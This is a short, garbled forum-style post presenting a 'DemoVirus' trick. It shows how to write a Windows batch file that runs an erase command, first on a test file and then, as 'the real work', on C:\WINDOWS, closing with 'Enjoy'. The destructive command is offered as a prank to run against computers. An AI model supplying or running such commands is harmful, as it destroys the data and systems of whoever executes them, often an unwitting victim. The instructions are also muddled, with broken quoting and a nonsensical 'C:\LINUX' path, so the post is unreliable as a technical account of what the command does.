How To Creat A DemoVirus To Delet All File In Computer

Hi Friends Here I Posted A Trick Its Delet All File In A Computer 

First Make A file In C:\  for example

Demo.txt

So Go Start
Then Run
Type notepad press enter
type "erase C: \Demo.txt" "
 Save As..." and save it as
"Demo.cmd".
Now run the file
"Demo.cmd" and go to
C:\ and you'll see your Demo.txt is gone.
Now, the real work begins: Go to notepad and type erase C:\WINDOWS (or C:\LINUX

Enjoy